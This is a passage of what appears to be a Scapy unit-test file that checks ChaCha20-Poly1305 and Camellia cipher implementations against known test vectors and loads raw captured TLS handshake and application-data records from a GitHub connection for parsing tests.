6e 74 68 73 20 61 6e 64 20 6d 61 79 20 62 65\n        20 75 70 64 61 74 65 64 2c 20 72 65 70 6c 61 63\n        65 64 2c 20 6f 72 20 6f 62 73 6f 6c 65 74 65 64\n        20 62 79 20 6f 74 68 65 72 20 64 6f 63 75 6d 65\n        6e 74 73 20 61 74 20 61 6e 79 20 74 69 6d 65 2e\n        20 49 74 20 69 73 20 69 6e 61 70 70 72 6f 70 72\n        69 61 74 65 20 74 6f 20 75 73 65 20 49 6e 74 65\n        72 6e 65 74 2d 44 72 61 66 74 73 20 61 73 20 72\n        65 66 65 72 65 6e 63 65 20 6d 61 74 65 72 69 61\n        6c 20 6f 72 20 74 6f 20 63 69 74 65 20 74 68 65\n        6d 20 6f 74 68 65 72 20 74 68 61 6e 20 61 73 20\n        2f e2 80 9c 77 6f 72 6b 20 69 6e 20 70 72 6f 67\n        72 65 73 73 2e 2f e2 80 9d\n        \"\"\")\n    a= clean(\"\"\"\n        f3 33 88 86 00 00 00 00 00 00 4e 91\n        \"\"\")\n    ct=clean(\"\"\"\n        64 a0 86 15 75 86 1a f4 60 f0 62 c7 9b e6 43 bd\n        5e 80 5c fd 34 5c f3 89 f1 08 67 0a c7 6c 8c b2\n        4c 6c fc 18 75 5d 43 ee a0 9e e9 4e 38 2d 26 b0\n        bd b7 b7 3c 32 1b 01 00 d4 f0 3b 7f 35 58 94 cf\n        33 2f 83 0e 71 0b 97 ce 98 c8 a8 4a bd 0b 94 81\n        14 ad 17 6e 00 8d 33 bd 60 f9 82 b1 ff 37 c8 55\n        97 97 a0 6e f4 f0 ef 61 c1 86 32 4e 2b 35 06 38\n        36 06 90 7b 6a 7c 02 b0 f9 f6 15 7b 53 c8 67 e4\n        b9 16 6c 76 7b 80 4d 46 a5 9b 52 16 cd e7 a4 e9\n        90 40 c5 a4 04 33 22 5e e2 82 a1 b0 a0 6c 52 3e\n        af 45 34 d7 f8 3f a1 15 5b 00 47 71 8c bc 54 6a\n        0d 07 2b 04 b3 56 4e ea 1b 42 22 73 f5 48 27 1a\n        0b b2 31 60 53 fa 76 99 19 55 eb d6 31 59 43 4e\n        ce bb 4e 46 6d ae 5a 10 73 a6 72 76 27 09 7a 10\n        49 e6 17 d9 1d 36 10 94 fa 68 f0 ff 77 98 71 30\n        30 5b ea ba 2e da 04 df 99 7b 71 4d 6c 6f 2c 29\n        a6 ad 5c b4 02 2b 02 70 9b\n        \"\"\")\n    tag=clean(\"\"\"\n        ee ad 9d 67 89 0c bb 22 39 23 36 fe a1 85 1f 38\n        \"\"\")\n\ndef _all_chacha20poly1305_tests():\n    from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305_TLS13\n    res = True\n    ciphers = []\n    for t in [_chacha20poly1305_test_1]:\n        c = Cipher_CHACHA20_POLY1305_TLS13(key=t.k, fixed_iv=t.n)\n        tmp1 = c.auth_decrypt(t.a, t.ct + t.tag, b\"\\0\"*8) == (t.p, t.tag)\n        tmp2 = c.auth_encrypt(t.p, t.a, b\"\\0\"*8) == t.ct + t.tag\n        res = res and tmp1 and tmp2\n    return res\n\n_all_chacha20poly1305_tests()\n\n\n= Crypto - Camellia cipher, encryption/decryption checks\n\nclass _Camellia128_test:\n    k= b\"\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef\\xfe\\xdc\\xba\\x98\\x76\\x54\\x32\\x10\"\n    p= b\"\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef\\xfe\\xdc\\xba\\x98\\x76\\x54\\x32\\x10\"\n    c= b\"\\x67\\x67\\x31\\x38\\x54\\x96\\x69\\x73\\x08\\x57\\x06\\x56\\x48\\xea\\xbe\\x43\"\n    iv=b\"\\0\"*16\n\nclass _Camellia256_test:\n    k=(b\"\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef\\xfe\\xdc\\xba\\x98\\x76\\x54\\x32\\x10\" +\n       b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\")\n    p= b\"\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef\\xfe\\xdc\\xba\\x98\\x76\\x54\\x32\\x10\"\n    c= b\"\\x9a\\xcc\\x23\\x7d\\xff\\x16\\xd7\\x6c\\x20\\xef\\x7c\\x91\\x9e\\x3a\\x75\\x09\"\n    iv=b\"\\0\"*16\n\ndef _all_camellia_tests():\n    from scapy.layers.tls.crypto.cipher_block import (Cipher_CAMELLIA_128_CBC,\n                                                      Cipher_CAMELLIA_256_CBC)\n    res = True\n    t = _Camellia128_test\n    tmp = (Cipher_CAMELLIA_128_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n           Cipher_CAMELLIA_128_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n    res = res and tmp\n    t = _Camellia256_test\n    tmp = (Cipher_CAMELLIA_256_CBC(t.k, t.iv).encrypt(t.p) == t.c and\n           Cipher_CAMELLIA_256_CBC(t.k, t.iv).decrypt(t.c) == t.p)\n    res = res and tmp\n    return res\n\n_all_camellia_tests()\n\n\n###############################################################################\n#################### Reading protected test session ###########################\n###############################################################################\n\n# These packets come from a random TLS thread captured\n# during a github connection from a Mozilla Firefox client.\n\n+ Read a protected TLS session\n\n= Reading test session - Loading unparsed TLS records\np1_ch = b'\\x16\\x03\\x01\\x00\\xd5\\x01\\x00\\x00\\xd1\\x03\\x03\\x17\\xf2M\\xc3|\\x19\\xdb\\xc3<\\xb5J\\x0b\\x8d5\\x81\\xc5\\xce\\t 2\\x08\\xd8\\xec\\xd1\\xf8\"B\\x9cW\\xd0\\x16v\\x00\\x00\\x16\\xc0+\\xc0/\\xc0\\n\\xc0\\t\\xc0\\x13\\xc0\\x14\\x003\\x009\\x00/\\x005\\x00\\n\\x01\\x00\\x00\\x92\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1acamo.githubusercontent.com\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\x08\\x00\\x06\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x003t\\x00\\x00\\x00\\x10\\x00)\\x00\\'\\x05h2-16\\x05h2-15\\x05h2-14\\x02h2\\x08spdy/3.1\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x16\\x00\\x14\\x04\\x01\\x05\\x01\\x06\\x01\\x02\\x01\\x04\\x03\\x05\\x03\\x06\\x03\\x02\\x03\\x04\\x02\\x02\\x02'\np2_sh = b'\\x16\\x03\\x03\\x00T\\x02\\x00\\x00P\\x03\\x03F\\x07n\\xe2\\x0c\\x97g\\xb7o\\xb6\\x9b\\x14\\x19\\xbd\\xdd1\\x80@\\xaaQ+\\xc2,\\x19\\x15\"\\x82\\xe8\\xc5,\\xe8\\x12\\x00\\xc0/\\x00\\x00(\\x00\\x00\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00#\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1'\np3_cert = b'\\x16\\x03\\x03\\nu\\x0b\\x00\\nq\\x00\\nn\\x00\\x05\\xb30\\x82\\x05\\xaf0\\x82\\x04\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10\\x07z]\\xc36#\\x01\\xf9\\x89\\xfeT\\xf7\\xf8o>d0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000p1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\\n\\x13\\x0cDigiCert Inc1\\x190\\x17\\x06\\x03U\\x04\\x0b\\x13\\x10www.digicert.com1/0-\\x06\\x03U\\x04\\x03\\x13&DigiCert SHA2 High Assurance Server CA0\\x1e\\x17\\r160120000000Z\\x17\\r170406120000Z0j1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x130\\x11\\x06\\x03U\\x04\\x08\\x13\\nCalifornia1\\x160\\x14\\x06\\x03U\\x04\\x07\\x13\\rSan Francisco1\\x150\\x13\\x06\\x03U\\x04\\n\\x13\\x0cFastly, Inc.1\\x170\\x15\\x06\\x03U\\x04\\x03\\x13\\x0ewww.github.com0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xfb\\xd5\\x94\\n\\n\\xe0P\\xdc\\x0f\\xfc\\x90\\xb7qG\\x9f,\\x05\\xde\\x0e\\x9a\\xbc*\\x8f\\xd4\\xf2\\x9f\\x08F\\xf9\\xf2\\xd1\\x18\\xb4#\\xa5*\\xd2\\xdf\\x91?\\xf9\\xc5\\xd0\\xb2@\\xbd\\xd6\\xbc@v.\\x8d\\xd8\\x1e\\r7\\x8fz\\x90W\\xef\\xe3\\xa2\\xc0\\x11a\\x03F\\x0e\\xfa\\xb37\\x0bf|!\\x16\\x8d\\xfe/^.Y\\xfec\\':\\xf3\\xeds\\xf8Mt\\xb3Q\\x17u\\x9a\\xed\\x0ck\\xcd\\xe8\\xc1\\xea\\xca\\x01\\xacu\\xf9\\x17)\\xf0KP\\x9dAdHl\\xf6\\xc0g}\\xc8\\xea\\xdeHy\\x81\\x97A\\x02\\xb7F\\xf6^M\\xa5\\xd9\\x90\\x86\\xd7\\x1ehQ\\xac>%\\xae\\'\\x11\\xb1G4\\xb8\\x8b\\xdeoyA\\xd6\\x92\\x13)\\x11\\x80\\xc4\\x10\\x17\\\\\\x0clj\\x02\\xbb\\xd0\\n\\xfc\\xd2\\x96x\\x1d\\xb6\\xd4\\x02\\x7f\\x1f\\x0eR@Sop@\\xda\\x89)O\\x0c\\t~\\xa3\\xec\\xc5W\\xad\\x03\\xaa\\x91\\xedC\\\\\\xf9\\xf5[\\xe8\\xa1\\xf0\\xbem\\x1b\\xce-\\xabC|p\\xdc?\\xec\\xc9\\x11\\xf0t\\xc9)\\xa1P\\xd0<)8\\xdc\\x7fV\\xb9\\xf8\\x1f\\x04\\xa4^\\x9f\\xce\\xdd\\x17\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x02I0\\x82\\x02E0\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;0\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14d\\xbfD\\xb3F\\t\\x9b\\xcfZ\\x1dqI\\xa2\\x04r\\x8b\\x884\\x84#0{\\x06\\x03U\\x1d\\x11\\x04t0r\\x82\\x0ewww.github.com\\x82\\x0c*.github.com\\x82\\ngithub.com\\x82\\x0b*.github.io\\x82\\tgithub.io\\x82\\x17*.githubusercontent.com\\x82\\x15githubusercontent.com0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x05\\xa00\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x020u\\x06\\x03U\\x1d\\x1f\\x04n0l04\\xa02\\xa00\\x86.http://crl3.digicert.com/sha2-ha-server-g5.crl04\\xa02\\xa00\\x86.http://crl4.digicert.com/sha2-ha-server-g5.crl0L\\x06\\x03U\\x1d \\x04E0C07\\x06\\t`\\x86H\\x01\\x86\\xfdl\\x01\\x010*0(\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1chttps://www.digicert.com/CPS0\\x08\\x06\\x06g\\x81\\x0c\\x01\\x02\\x020\\x81\\x83\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04w0u0$\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x18http://ocsp.digicert.com0M\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86Ahttp://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0\\x0c\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x020\\x000\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00O\\x16\\xd1t\\xf8>\\xa3\\x8f~\\xf7\\xaf\\xcf\\xfa\\xb6\\xdd\\xa7\\x88\\x9e\\xf8!\\xad|(\\x14\\xb9\\xb4\\xffg\\xd0\\xb9\\xe2O\\x81}\\x03\\xb4\\x9d\\xbcU\\x80$\\x8c\\xe5fP\\xb8\\xb8(\\xd9\\x0f\\xb4\\x95\\xccb\\xb2\\x87|\\xcf\\x16^SH\\xf9\\xc2\\xf8\\x90 \\xdc\\x0e\\x96\\x7f\\xe27\\xcfA\\xc7uf\\r\\x1c\\xa7M\\xee\\x02\\xaa\\x1b\\x00\\xc0\\xea\\x0e\\xd4Df\\x08\\t\\xac\\x00\\x90pc\\xfa\\xcd\\xaf\\x89\\x8a\\xdbj|z\\xb0k\\xa8\\xc5\\xb4\\x9d\\x85\\xd8S\\x93E\\xcar>\\xa4\\xd4\\xe3\\xa28J\\x0f\\x82\\x08\\xf0\\xf3U\\xf0m\\xb21l\\x189\\xbf\\xee\\xe3\\xe5\\x8f\\xcd@\\x07\\x0b\\xd0\\xe9e\\xda\\xd6LA\\xff[\\xafB\\xaf\\xf2\\xb1F\\xa1\\xacX\\xfc)\\x80\\xcb\\xf6Z\\xa6\\xaf\\xf26\\x93\\xdf\\x92q\\xa95\\xe3:XP\\xab::|\\xd9\\xf7y\\x83\\x9e\\t\\xfe\\x0f\\x90,Y+\\x07$Z<\\xb5\\xd2\\xa0\\xdaE\\xb8\\xe1\\xc0\\x03\\x07\\x00h\\xf6L\\xfa\\xe2v[\\xce\\x8f\\xfe\\xd0\\xcb%\\xf9\\x9b\\xcb\\xa9\\xffU\\x12\\xf3=_En2\\xa0$\\x8e\\xb7\\xa5vo\\x0b\\x87\\xe9\\x00\\x04\\xb50\\x82\\x04\\xb10\\x82\\x03\\x99\\xa0\\x03\\x02\\x01\\x02\\x02\\x10\\x04\\xe1\\xe7\\xa4\\xdc\\\\\\xf2\\xf3m\\xc0+B\\xb8]\\x15\\x9f0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000l1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\\n\\x13\\x0cDigiCert Inc1\\x190\\x17\\x06\\x03U\\x04\\x0b\\x13\\x10www.digicert.com1+0)\\x06\\x03U\\x04\\x03\\x13\"DigiCert High Assurance EV Root CA0\\x1e\\x17\\r131022120000Z\\x17\\r281022120000Z0p1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\\n\\x13\\x0cDigiCert Inc1\\x190\\x17\\x06\\x03U\\x04\\x0b\\x13\\x10www.digicert.com1/0-\\x06\\x03U\\x04\\x03\\x13&DigiCert SHA2 High Assurance Server CA0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xb6\\xe0/\\xc2$\\x06\\xc8m\\x04_\\xd7\\xef\\nd\\x06\\xb2}\"&e\\x16\\xaeB@\\x9b\\xce\\xdc\\x9f\\x9fv\\x07>\\xc30U\\x87\\x19\\xb9O\\x94\\x0eZ\\x94\\x1fUV\\xb4\\xc2\\x02*\\xaf\\xd0\\x98\\xee\\x0b@\\xd7\\xc4\\xd0;r\\xc8\\x14\\x9e\\xef\\x90\\xb1\\x11\\xa9\\xae\\xd2\\xc8\\xb8C:\\xd9\\x0b\\x0b\\xd5\\xd5\\x95\\xf5@\\xaf\\xc8\\x1d\\xedM\\x9c_W\\xb7\\x86Ph\\x99\\xf5\\x8a\\xda\\xd2\\xc7\\x05\\x1f\\xa8\\x97\\xc9\\xdc\\xa4\\xb1\\x82\\x84-\\xc6\\xad\\xa5\\x9c\\xc7\\x19\\x82\\xa6\\x85\\x0f^DX*7\\x8f\\xfd5\\xf1\\x0b\\x08\\'2Z\\xf5\\xbb\\x8b\\x9e\\xa4\\xbdQ\\xd0\\'\\xe2\\xdd;B3\\xa3\\x05(\\xc4\\xbb(\\xcc\\x9a\\xac+#\\rx\\xc6{\\xe6^q\\xb7J>\\x08\\xfb\\x81\\xb7\\x16\\x16\\xa1\\x9d#\\x12M\\xe5\\xd7\\x92\\x08\\xacu\\xa4\\x9c\\xba\\xcd\\x17\\xb2\\x1eD5e\\x7fS%9\\xd1\\x1c\\n\\x9ac\\x1b\\x19\\x92th\\n7\\xc2\\xc2RH\\xcb9Z\\xa2\\xb6\\xe1]\\xc1\\xdd\\xa0 \\xb8!\\xa2\\x93&o\\x14J!A\\xc7\\xedm\\x9b\\xf2H/\\xf3\\x03\\xf5\\xa2h\\x92S/^\\xe3\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01I0\\x82\\x01E0\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x000\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x860\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x0204\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04(0&0$\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x18http://ocsp.digicert.com0K\\x06\\x03U\\x1d\\x1f\\x04D0B0@\\xa0>\\xa0<\\x86:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=\\x06\\x03U\\x1d \\x0460402\\x06\\x04U\\x1d \\x000*0(\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1chttps://www.digicert.com/CPS0\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;0\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\xb1>\\xc3i\\x03\\xf8\\xbfG\\x01\\xd4\\x98&\\x1a\\x08\\x02\\xefcd+\\xc30\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x18\\x8a\\x95\\x89\\x03\\xe6m\\xdf\\\\\\xfc\\x1dh\\xeaJ\\x8f\\x83\\xd6Q/\\x8dkD\\x16\\x9e\\xacc\\xf5\\xd2nl\\x84\\x99\\x8b\\xaa\\x81q\\x84[\\xed4N\\xb0\\xb7y\\x92)\\xcc-\\x80j\\xf0\\x8e \\xe1y\\xa4\\xfe\\x03G\\x13\\xea\\xf5\\x86\\xcaYq}\\xf4\\x04\\x96k\\xd3YX=\\xfe\\xd31%\\\\\\x188\\x84\\xa3\\xe6\\x9f\\x82\\xfd\\x8c[\\x981N\\xcdx\\x9e\\x1a\\xfd\\x85\\xcbI\\xaa\\xf2\\'\\x8b\\x99r\\xfc>\\xaa\\xd5A\\x0b\\xda\\xd56\\xa1\\xbf\\x1cnGI\\x7f^\\xd9H|\\x03\\xd9\\xfd\\x8bI\\xa0\\x98&B@\\xeb\\xd6\\x92\\x11\\xa4d\\nWT\\xc4\\xf5\\x1d\\xd6\\x02^k\\xac\\xee\\xc4\\x80\\x9a\\x12r\\xfaV\\x93\\xd7\\xff\\xbf0\\x85\\x060\\xbf\\x0b\\x7fN\\xffW\\x05\\x9d$\\xed\\x85\\xc3+\\xfb\\xa6u\\xa8\\xac-\\x16\\xef}y\\'\\xb2\\xeb\\xc2\\x9d\\x0b\\x07\\xea\\xaa\\x85\\xd3\\x01\\xa3 (AYC(\\xd2\\x81\\xe3\\xaa\\xf6\\xec{;w\\xb6@b\\x80\\x05AE\\x01\\xef\\x17\\x06>\\xde\\xc03\\x9bg\\xd3a.r\\x87\\xe4i\\xfc\\x12\\x00W@\\x1ep\\xf5\\x1e\\xc9\\xb4'\np4_certstat_ske_shd = b'\\x16\\x03\\x03\\x01\\xdf\\x16\\x00\\x01\\xdb\\x01\\x00\\x01\\xd70\\x82\\x01\\xd3\\n\\x01\\x00\\xa0\\x82\\x01\\xcc0\\x82\\x01\\xc8\\x06\\t+\\x06\\x01\\x05\\x05\\x070\\x01\\x01\\x04\\x82\\x01\\xb90\\x82\\x01\\xb50\\x81\\x9e\\xa2\\x16\\x04\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;\\x18\\x0f20160914121000Z0s0q0I0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\\xcf&\\xf5\\x18\\xfa\\xc9~\\x8f\\x8c\\xb3B\\xe0\\x1c/j\\x10\\x9e\\x8e_\\n\\x04\\x14Qh\\xff\\x90\\xaf\\x02\\x07u<\\xcc\\xd9edb\\xa2\\x12\\xb8Yr;\\x02\\x10\\x07z]\\xc36#\\x01\\xf9\\x89\\xfeT\\xf7\\xf8o>d\\x80\\x00\\x18\\x0f20160914121000Z\\xa0\\x11\\x18\\x0f20160921112500Z0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x90\\xef\\xf9\\x15U\\x88\\xac@l\\xf6n\\x04C/\\x1a\\xf5\\xbc[Xi\\xd9U\\xbe\\'\\xd3\\xb7\\xf5\\xbb\\t\\xd8\\xb1Tw\\x9c2\\xac\\x7f\\x88\\xba\\x98\\xe4\\xa13\\xf4\\xdc\\xea\\xf3\\xacX\\xe4,E\\xf5\\xa9\\xc3\\xf4B-N\\xe0\\x89D[\\xbe\\n\\xc2h\\x9ar\\xfd\\'.\\xc8,\\xed\\x83\\xc2\\xf0\\x89_\\x8c\\xc3\\xe7\\x8a\\xad\\xa4\\x14\\x03\\x96\\x02\\xc4\\xa8\\xc8\\x90\\x96%X\\x80\\x95\\x02\\x9d_\\xc82;m\\xe9\\x15\\x00\\xa8\\x00\\xb9\\x01\\xe3aN&\\xe4\\xd5\\x8a\\xc4w7\\x0b\\xc3~\\xc5\\xb1M\\x10~T\\x9e\\x1d\\xf6\\x06\\xf8\\x12sTg\\x14b_\\xe7\\xc04\\xb4\\xa3\\xd2\\x8f\\xe6\\xa6\\xc4\\x01q\\x03j\\xc8\\xd4\\xc7\\x89\\xdde\\x99\\x1a\\xd9\\x02\\xe7\\x17\\xd1\\xf40P\\xef\\xf6$\\xee\\xfad\\xf4\\xeb\\xc8\\xf7\\x0bRL\\x8b\\xa5x\\xe4R2\\xe9\\xc2\\xfcB\\nh\\x93\\xf7\\x0ep4h\\xeb\\x17\\x83\\xc8\\x88!\\xc3W\\x94WG\\xfe3\\x15C0qE&A\\x99\\xa8}\\x1a\\xda\"\\xa9O\\xba\\x90W_W\\xado\\x1c\\xf0`g7\\xbb$\\x91o\\xec\\xdd\\xbd\\x9e\\x8bb\\xfc\\x16\\x03\\x03\\x01M\\x0c\\x00\\x01I\\x03\\x00\\x17A\\x04\\xc3\\x9d\\x1cD\\xcb\\x85?dU\\x9eg\\xc9\\x90\\xd8\\x80N|F\\x98\\x0cA\\x07\\xdfg\\xa2\\xfb_z\\xe4\\x9b\\xf6\\x06\\xf3L\\x82KJ8\\x0e\\x1a\\x13\\x97;:\\x12\\rdeu\\xb5\\x9f\\x8d\\xaa\\xfc\\x0f\\xacb\\x0e\\xadVX\\x19\\x03u\\x06\\x01\\x01\\x00y\\x8aQ\\x11\\x94\\x91\\x7f\\xf7\\xa3#o.\\x11\\x1d\\xb3K\\xede~0\\xfb\\xaf\\x92\\xfb\\xfdY\\x98n\\x17$\\xae\\xf6\\x16\\x14\\x13J;\\x1cm7\\xfa;\\xc8G\\xa6\\x1a}{\\xc2\\xa5\\x1b\\xc5\\x1c\\xb5\\x86\\x18\\x18Z\\xa71\\x86\\x0b-\\xa7/q\\x89+\\xc7$\\xbb\\xf2 \\x17\\xc8`\\xbbt[j\\x9f\\x83\\x88\\xc0\\x8d\\xcf4fu1\\xc3\\xea:B\\r\\xc6\\xc9\\x12jP\\x0c- \\x17\\x17t\\x10\\x17)e\\xbe\\xaao\\xe5@\\xd2\\xcc\\xa5\\x89mRy\\xfapc~\\xa6\\x84\\x80\\xbc4\\xb4B\\xcb\\x92\\x86\\xad\\xf6`9j\\xf0\\x8ee\\xc0|\\xfd\\xdb\\xde!\\xceH\\x0e\\x9c\\xfb\\x85#\\x9f\\xb7\\xccT\\x96\\xe0 \\xfet-\\xd8yUs\\xe7m\\x94\\x07\\xbc]~\\x99\\xd3\\x93\\xfb\\\\\\xfc@B\\x14w\\xce\\xe8n\\x14\\xd4\\xcc\\x07\\xe5\\xb5@j\\x17IQ\\xcfub\\xcf\\xa2\\xde\\xcaU\\xb3 \\x8b\\xdb\\x10Y\\x0cS\\xc7\\x0b\\xd8BP\\xfeX!\\x17\\x94\\x80\\xedu\\xf8M\\xa7r\\xc3\\x04\\xf4\\xd6\\xb7\\x99\\xd1=\\x922\\xf9\\x0b\\x9f\\xe7\\x1b\\x932`15\\xef\\x16\\x03\\x03\\x00\\x04\\x0e\\x00\\x00\\x00'\np5_cke_ccs_fin = b\"\\x16\\x03\\x03\\x00F\\x10\\x00\\x00BA\\x04\\xd2\\x07\\xce\\xa9v\\xd8\\x1d\\x18\\x9bN\\xe1\\x83U\\x8c\\x8f\\xd5a\\x0f\\xe5_\\x9d\\x0f\\x8c\\x9dT\\xf6\\xa9\\x18'a\\x8fHH@\\x0c\\xd4D\\x801\\x92\\x07\\xf3\\x95\\xa9W\\x18\\xfc\\xb7J\\xe6j\\xbb\\xac\\x0f\\x86\\xae\\n+\\xd5\\xb9\\xdc\\x86[\\xe7\\x14\\x03\\x03\\x00\\x01\\x01\\x16\\x03\\x03\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd9\\xcb,\\x8cM\\xfd\\xbc9\\xaa\\x05\\xf3\\xd3\\xf3Z\\x8a-\\xc7^\\xc1\\x8e\\x81M\\xff\\x00\\x0f}G\\xf2\\x8c\\xab\\n=\"\np6_tick_ccs_fin = b\"\\x16\\x03\\x03\\x00\\xca\\x04\\x00\\x00\\xc6\\x00\\x00\\x04\\xb0\\x00\\xc0c\\xccwJ\\x00\\xdb,B.\\x8fv#\\xdd\\xa9\\xaeS\\x90S \\xb7(^\\x0c\\xed\\n\\xaeM\\x0bN\\xba\\xb4\\x8a4d\\x85\\x88 iN\\xc9\\xd1\\xbe\\xac\\xe2Wb\\xc9N\\xf3\\x85\\xbf\\xb7j\\xa4IB\\x8a\\x1b\\xe4\\x8d\\x1f\\x148%\\xd7R3\\x0f4\\rh\\x8f\\xccBj\\xb5\\r\\xfa\\xc1f\\r?f\\xc4\\x0f_q9\\xe1\\x07B\\x038\\xb4}\\xbb\\xb0\\xfc\\x0eG\\xf2\\t&\\x13\\x98\\xcb\\xfc\\xf6\\xf4\\xeb\\x99!\\t]\\xe2\\xd9-J\\xe4\\xdbK\\xa1\\xe5\\xf0\\t\\xdfX\\x0c\\xb3\\r\\xf9\\x18\\xfb}\\xd9\\nhW1\\xfc\\x1c\\x08DJ,\\xa6#\\xb0\\x15\\x16(&\\xfdP\\x8a%\\xeb\\xc2\\xdd\\xd8\\xa2/\\xbd$\\xc3\\x14\\xfb\\xf3\\x86\\xa3\\xceO\\x18\\x9f\\xfdS|'\\x11\\x02\\xc8\\xa6eW\\xbdo*y\\xf3.\\xcf\\x04\\x14\\x03\\x03\\x00\\x01\\x01\\x16\\x03\\x03\\x00(\\xd8m\\x92\\t5YZ:7\\\\)`\\xaa`\\x7ff\\xcd\\x10\\xa9v\\xa3*\\x17\\x1a\\xecguD\\xa8\\x87$<7+\\n\\x94\\x1e9\\x96\\xfa\"\np7_data = b\"\\x17\\x03\\x03\\x01\\xf6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01?\\x04iy\\x00\\x04 \\\\\\xd0\\xd4\\x9eG\\x1f\\xbf\\xa3k\\xfe=\\xee\\xce\\x15\\xa0%%\\x06c}\\xf6\\xd4\\xfb\\xa6\\xf0\\xf6\\x0cO\\x1c\\x9c\\x91\\xa9\\x0b\\x88J\\xe0z\\x94\\xcaT\\xeb\\xc7\\xad\\x02j\\x10\\r\\xc6\\x12\\xb9\\xb9\\x7f<\\x84V\\xab\\x1e\\xfc\\xe5\\x01\\xda\\xd6G\\xf5\\xb7\\xf2I6\\x8b\\xc9\\xc4a\\xd3\\x19\\xeat\\xfc\\x9b\\xfa\\x1e\\xe7\\x8c\\xaa\\xb3\\xce\\xd0\\x86G\\x9b\\x90\\xf7\\xde\\xb1\\x8bwM\\x93\\xa2gS>\\xf3\\x97\\xf1CB\\xfb\\x8fs\\x1e\\xff\\x83\\xf9\\x8b\\xc0]\\xbd\\x80Mn3\\xff\\xa9\\xf3)'\\xc3S\\xc8\\xcd:\\xbe\\xd72B~$\\xb2;\\xeb+\\xa4\\xbd\\xa9A\\xd9 